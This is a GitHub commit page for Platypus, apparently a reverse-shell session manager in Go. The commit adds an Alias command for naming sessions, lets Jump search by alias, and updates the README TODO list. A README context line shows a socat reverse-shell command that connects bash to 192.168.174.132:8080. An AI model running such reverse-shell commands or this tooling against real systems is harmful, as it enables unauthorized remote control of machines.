Skip to content

Commit

Permalink
[+] #12 Add alias command which gives a session a human readable name
Browse files Browse the repository at this point in the history
  • Loading branch information
WangYihang committed Mar 21, 2021
1 parent 26d0754 commit 3c725ee
Show file tree
Hide file tree
Showing 5 changed files with 113 additions and 16 deletions.
13 changes: 6 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -112,17 +112,10 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.132:8080
* [Demo Video](http://www.youtube.com/watch?v=Yfy6w8qXcQs "Platypus")

## TODOs
- [ ] [#7 Allow user to choose operation for the same IP income connection](https://github.com/WangYihang/Platypus/issues/7)
- [ ] [#25 Replace new connection from same IP with old one](https://github.com/WangYihang/Platypus/issues/25)
- [ ] [#10 Use database to record all events and interacting logs](https://github.com/WangYihang/Platypus/issues/10)
- [ ] [#12 Add capability of setting human-readable name of session](https://github.com/WangYihang/Platypus/issues/12)
- [ ] [#15 Encryption support](https://github.com/WangYihang/Platypus/issues/15)
- [ ] [#19 Read command file when start up](https://github.com/WangYihang/Platypus/issues/19)
- [ ] [#24 Upgrading platypus to a system service](https://github.com/WangYihang/Platypus/issues/24)
- [ ] Upgrade to Metepreter session
- [ ] Test driven development [WIP]
- [ ] Continuous Integration
- [ ] Heart beating packet
- [ ] More interfaces in RESTful API
- [ ] RESTful API should auth
- [ ] Use crontab
Expand All @@ -131,6 +124,12 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.132:8080
- [ ] List file
- [ ] Web UI
- [ ] Benchmark
- [x] Continuous Integration
- [x] [#12 Add capability of setting human-readable name of session](https://github.com/WangYihang/Platypus/issues/12)
- [x] [#7 Allow user to choose operation for the same IP income connection](https://github.com/WangYihang/Platypus/issues/7)
- [x] [#25 Replace new connection from same IP with old one](https://github.com/WangYihang/Platypus/issues/25)
- [x] Test driven development [WIP]
- [x] [#19 Read command file when start up](https://github.com/WangYihang/Platypus/issues/19)
- [x] Add config file
- [x] [#30 RaaS support specifying language, thanks for @RicterZ](https://github.com/WangYihang/Platypus/issues/30)
- [x] Execute user input when input is not a built-in command
Expand Down
54 changes: 54 additions & 0 deletions lib/cli/dispatcher/alias.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
package dispatcher

import (
"fmt"
"strings"

"github.com/WangYihang/Platypus/lib/context"
"github.com/WangYihang/Platypus/lib/util/log"
"github.com/fatih/color"
)

func (dispatcher Dispatcher) Alias(args []string) {
if len(args) != 1 {
log.Error("Arguments error, use `Help Alias` to get more information")
dispatcher.AliasHelp([]string{})
return
}

// Ensure the interactive session is set
context.Ctx.AllowInterrupt = true
if context.Ctx.Current == nil {
log.Error("Interactive session is not set, please use `Jump` command to set the interactive Interact")
return
}

// Alias session
log.Info("Renaming session: %s", context.Ctx.Current.FullDesc())
context.Ctx.Current.Alias = strings.TrimSpace(args[0])

// Update prompt
var user string
if context.Ctx.Current.User == "" {
user = "unknown"
} else {
user = context.Ctx.Current.User
}
ReadLineInstance.SetPrompt(color.CyanString(
"[%s] (%s) %s [%s] » ",
context.Ctx.Current.Alias,
context.Ctx.Current.OS.String(),
context.Ctx.Current.Conn.RemoteAddr().String(),
user,
))
}

func (dispatcher Dispatcher) AliasHelp(args []string) {
fmt.Println("Usage of Alias")
fmt.Println("\tAlias")
}

func (dispatcher Dispatcher) AliasDesc(args []string) {
fmt.Println("Alias")
fmt.Println("\tAlias the current session with a human-readable name.")
}
50 changes: 45 additions & 5 deletions lib/cli/dispatcher/jump.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,12 +15,50 @@ func (dispatcher Dispatcher) Jump(args []string) {
dispatcher.JumpHelp([]string{})
return
}
// Search via Hash
for _, server := range context.Ctx.Servers {
for _, client := range (*server).GetAllTCPClients() {
if strings.HasPrefix(client.Hash, strings.ToLower(args[0])) {
context.Ctx.Current = client
log.Success("The current interactive shell is set to: %s", client.FullDesc())

// Update prompt
// BUG:
// The prompt will set only at the `Jump` command once.
// If we jump to a client before the os & user is detected
// So the prompt will be:
// (Unknown) 127.0.0.1:43802 [unknown] »
var user string
if client.User == "" {
user = "unknown"
} else {
user = client.User
}
if client.Alias != "" {
ReadLineInstance.SetPrompt(color.CyanString(
"[%s] (%s) %s [%s] » ",
client.Alias,
client.OS.String(),
client.Conn.RemoteAddr().String(),
user,
))
} else {
ReadLineInstance.SetPrompt(color.CyanString(
"(%s) %s [%s] » ",
client.OS.String(),
client.Conn.RemoteAddr().String(),
user,
))
}
return
}
}
}
// Search via name
for _, server := range context.Ctx.Servers {
for _, client := range (*server).GetAllTCPClients() {
if strings.HasPrefix(client.Alias, strings.ToLower(args[0])) {
context.Ctx.Current = client
log.Success("The current interactive shell is set to: %s", client.FullDesc())
// Update prompt
// BUG:
// The prompt will set only at the `Jump` command once.
Expand All @@ -34,7 +72,8 @@ func (dispatcher Dispatcher) Jump(args []string) {
user = client.User
}
ReadLineInstance.SetPrompt(color.CyanString(
"(%s) %s [%s] » ",
"[%s] (%s) %s [%s] » ",
client.Alias,
client.OS.String(),
client.Conn.RemoteAddr().String(),
user,
Expand All @@ -48,11 +87,12 @@ func (dispatcher Dispatcher) Jump(args []string) {

func (dispatcher Dispatcher) JumpHelp(args []string) {
fmt.Println("Usage of Jump")
fmt.Println("\tJump [HASH]")
fmt.Println("\tHASH\tThe hash of an node, node can be both a server or a client")
fmt.Println("\tJump [HASH | NAME]")
fmt.Println("\tHASH\tThe hash of a node which you want to interact with.")
fmt.Println("\tNAME\tThe name of a node which you want to interact with. The name can be set via `Rename` command.")
}

func (dispatcher Dispatcher) JumpDesc(args []string) {
fmt.Println("Jump")
fmt.Println("\tJump to a node, waiting to interactive with it")
fmt.Println("\tJump to a node, waiting for interactiving with it.")
}
9 changes: 6 additions & 3 deletions lib/context/client.go
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,7 @@ type TCPClient struct {
Interactive bool
GroupDispatch bool
Hash string
Alias string
User string
OS OperatingSystem
NetworkInterfaces map[string]string
Expand All @@ -57,6 +58,7 @@ func CreateTCPClient(conn net.Conn) *TCPClient {
Interactive: false,
GroupDispatch: false,
Hash: "",
Alias: "",
NetworkInterfaces: map[string]string{},
OS: Unknown,
Python2: "",
Expand All @@ -76,14 +78,15 @@ func (c *TCPClient) Close() {
func (c *TCPClient) AsTable() {
t := table.NewWriter()
t.SetOutputMirror(os.Stdout)
t.AppendHeader(table.Row{"Hash", "Network", "OS", "User", "Python", "Time", "GroupDispatch"})
t.AppendHeader(table.Row{"Hash", "Network", "OS", "User", "Python", "Time", "Alias", "GroupDispatch"})
t.AppendRow([]interface{}{
c.Hash,
c.Conn.RemoteAddr().String(),
c.OS.String(),
c.User,
c.Python2 != "" || c.Python3 != "",
humanize.Time(c.TimeStamp),
c.Alias,
c.GroupDispatch,
})
t.Render()
Expand Down Expand Up @@ -127,10 +130,10 @@ func (c *TCPClient) OnelineDesc() string {
func (c *TCPClient) FullDesc() string {
addr := c.Conn.RemoteAddr()
if c.Mature {
return fmt.Sprintf("[Premature Death] %s://%s (connected at: %s) [%s] [%t]", addr.Network(), addr.String(),
return fmt.Sprintf("[%s] %s://%s (connected at: %s) [%s] [%t]", c.Hash, addr.Network(), addr.String(),
humanize.Time(c.TimeStamp), c.OS.String(), c.GroupDispatch)
} else {
return fmt.Sprintf("[%s] %s://%s (connected at: %s) [%s] [%t]", c.Hash, addr.Network(), addr.String(),
return fmt.Sprintf("[Premature Death] %s://%s (connected at: %s) [%s] [%t]", addr.Network(), addr.String(),
humanize.Time(c.TimeStamp), c.OS.String(), c.GroupDispatch)
}
}
Expand Down
3 changes: 2 additions & 1 deletion lib/context/server.go
Original file line number Diff line number Diff line change
Expand Up @@ -155,7 +155,7 @@ func (s *TCPServer) AsTable() {
len((*s).Clients),
))

t.AppendHeader(table.Row{"Hash", "Network", "OS", "User", "Python", "Time", "GroupDispatch"})
t.AppendHeader(table.Row{"Hash", "Network", "OS", "User", "Python", "Time", "Alias", "GroupDispatch"})

for chash, client := range s.Clients {
t.AppendRow([]interface{}{
Expand All @@ -165,6 +165,7 @@ func (s *TCPServer) AsTable() {
client.User,
client.Python2 != "" || client.Python3 != "",
humanize.Time(client.TimeStamp),
client.Alias,
client.GroupDispatch,
})

Expand Down

0 comments on commit 3c725ee

Please sign in to comment.